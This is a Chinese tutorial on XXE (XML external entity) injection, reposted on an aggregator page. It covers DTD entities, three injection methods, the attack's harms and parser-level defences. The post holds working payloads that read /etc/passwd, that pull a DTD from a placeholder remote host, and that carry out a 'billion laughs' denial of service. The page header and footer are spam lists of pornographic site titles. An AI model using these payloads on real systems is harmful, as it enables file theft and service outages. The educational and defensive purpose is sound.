日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

XXE原理利用防御

發布時間:2024/1/23 编程问答 35 豆豆
生活随笔 收集整理的這篇文章主要介紹了 XXE原理利用防御 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
XML外部實體(XXE)

1.何為XXE?
XXE是xml外部實體注入.
說到這里簡單介紹下什么是xml,xml是用于標記電子文件使其具有結構性的標記語言,可以用來標記數據、定義數據類型,是一種允許用戶對自己的標記語言進行定義的源語言.xml文檔結構包括xml聲明、DTD文檔類型定義(可選)、文檔元素.
所有的XML文檔均有以下簡單的構建模塊組成:
·元素(元素是XML以及HTML文檔的主要構成模塊,元素可包含文本、其他元素或者是空的)
·屬性(屬性可提供有關元素的額外信息)
·實體(實體是用來定義普通文本的變量。實體引用是對實體的的引用,這里的引用就可以為我們提供xxe攻擊)
·PCDATA(會被解析器解析的文本。這些文本將被解析器檢查實體以及標記)
·CDATA(字符數據,不會被解析器解析的文本)

DTD(文檔類型定義)

DTD的作用是定義XML文檔的合法構建模塊
DTD可以在XML文檔內聲明,也可以外部引用
內部聲明:
外部聲明:

DTD實體

DTD實體是用于定義引用普通文本或特殊字符的快捷方式的變量,可以內部聲明或外部引用。
實體分為一般實體和參數實體
1. 一般實體的聲明語法:

怎么構建外部實體注入?

方式一:直接通過DTD外部實體聲明

<?xml version="1.0"?> <!DOCTYPE a [<!ENTITY b SYSTEM "file:///etc/passwd"> ]> <c>&b;</c>

方式二:通過DTD文檔引入外部DTD文檔,再引入外部實體聲明
xml內容:

<?xml version="1.0"> <!DOCTYPE a SYSTEM "http://abc.com/xxe.dtd"> <c>&b;</c>

DTD內容:

<!ENTITY b SYSTEM "file:///etc/passwd" ]

方式三:通過DTD外部實體聲明引入外部實體聲明
先寫一個外部實體聲明,然后引用的是在攻擊者服務器上面的外部實體聲明
xml內容:

<?xml version="1.0"?> <!DOCTYPE a [<!ENTITY % d SYSTEM "http://abc.com/xss.dtd">%d; ]> <c>&b;</c>

dtd文件內容:

<!ENTITY b SYSTEM "file:///etc/passwd">
產生的危害

xxe危害1:讀取任意文件
xxe危害2: 執行系統命令
xxe危害3:探測內網端口
xxe危害4:攻擊內網網站
xxe危害5: 導致DOS攻擊(著名的’billion laughs’)
簡單介紹下billion laughs
該攻擊通過創建一項遞歸的xml定義,在內存中生成是十億個“Ha!”字符串,從而導致DOS攻擊。
原理:構造惡意的XML實體文件耗盡可用內存,因為許多xml解析器在解析XML文檔時傾向于將它的整個結構保留在內存中,解析非常慢,從而造成拒絕服務攻擊。

<?xml version="1.0"?><!DOCTYPE lolz [<!ENTITY lol "lol"><!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"><!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"><!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"><!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"><!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"><!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"><!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"><!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]><lolz>&lol9;</lolz>
如何防御xxe攻擊

由于導致問題的原因是XML解析器解析了用戶發送的不可信數據。我們去校驗DTD中SYSTEM標識符定義的數據,并不容易,也不大可能,所以,最好的解決方法就是配置XML處理器去使用本地靜態的DTD,不允許XML中含有任何自己聲明的DTD。
方式1: 使用開發語言提供的禁用外部實體的方法

PHP: libxml_disable_entity_loader(true);JAVA: DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); Python: from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方式2: 過濾用戶提交的XML數據
關鍵詞:

部分內容來自網絡

總結

以上是生活随笔為你收集整理的XXE原理利用防御的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 91麻豆精品国产91 | 国产一级久久久久毛片精品 | 色哟哟日韩精品 | 色噜噜影院 | 宅男视频污| 国产一级特黄毛片 | 人妻少妇精品无码专区二区 | 亚洲第一成年网 | 猛男被粗大男男1069 | 精品视频免费观看 | 性视频一区 | 日本成人综合 | 一区二区在线免费观看 | 亚洲精品久久一区二区三区777 | 亚洲天堂v | www.夜夜骑 | 精品午夜福利视频 | 激情视频在线播放 | 亚洲免费成人av | 国产美女喷水视频 | 秘密基地电影免费版观看国语 | 国产99自拍| 欧美激情免费在线 | 国产天堂在线观看 | 黄色a免费 | 韩国伦理片在线观看 | 韩国电影大尺度在线观看 | 天天碰天天碰 | 国产精品伦理一区二区 | 嫩草免费视频 | 狠狠躁夜夜躁av无码中文幕 | 午夜伦理剧场 | 丝袜 亚洲 另类 欧美 重口 | 911亚洲精选 | 精品国产三级片在线观看 | 欧美1区2区| 欧美大片黄色 | 亚洲国产美女视频 | 美女写真福利视频 | 可乐操亚洲 | 秋霞欧洲| 国产黄av | 国产成人综合av | 六月久久 | 亚洲国产福利视频 | 日韩成人专区 | 五月开心激情 | 久久精品无码一区二区三区免费 | 丰满岳乱妇一区二区三区 | 午夜精品久久久久久 | 亚洲av无码一区东京热久久 | 中文在线8资源库 | 影音先锋激情 | 亚洲一区h | 国产一区二区三区在线播放无 | 精品日韩一区二区三区 | 婷婷成人综合网 | 特级做a爰片毛片免费69 | 天天干天天日 | 韩国三级久久 | 国产睡熟迷奷系列精品视频 | 欧美一区二区三区免费在线观看 | 人成在线| 国产真人无码作爱视频免费 | 日本高清视频一区二区三区 | 毛片a区| 国产美女主播在线观看 | 一区二区三区视频播放 | 亚洲精品6 | 黄色片免费在线观看 | 国产精品国产三级国产专播品爱网 | 伊人首页 | 激情五月婷婷在线 | 91国偷自产一区二区三区女王 | 国产精彩视频一区 | 亚洲一级免费毛片 | 在线看国产精品 | 亚洲码无人客一区二区三区 | 逼特逼视频在线观看 | 国产色秀| 香蕉视频在线免费播放 | 成人三级黄色片 | 国产白丝袜美女久久久久 | 女教师高潮黄又色视频 | 中文字幕在线观看国产 | 国产99久久精品 | 国产成人亚洲精品 | 在线免费成人网 | 欧美女同视频 | 欧美久久久久 | 国产成人av一区 | 国产情侣免费视频 | 国产又黄又猛 | 国产性猛交╳xxx乱大交 | 中文字幕日本一区二区 | 91人妻一区二区三区蜜臀 | 亚洲精品国产91 | 亚洲一区免费在线观看 | 欧美男人又粗又长又大 |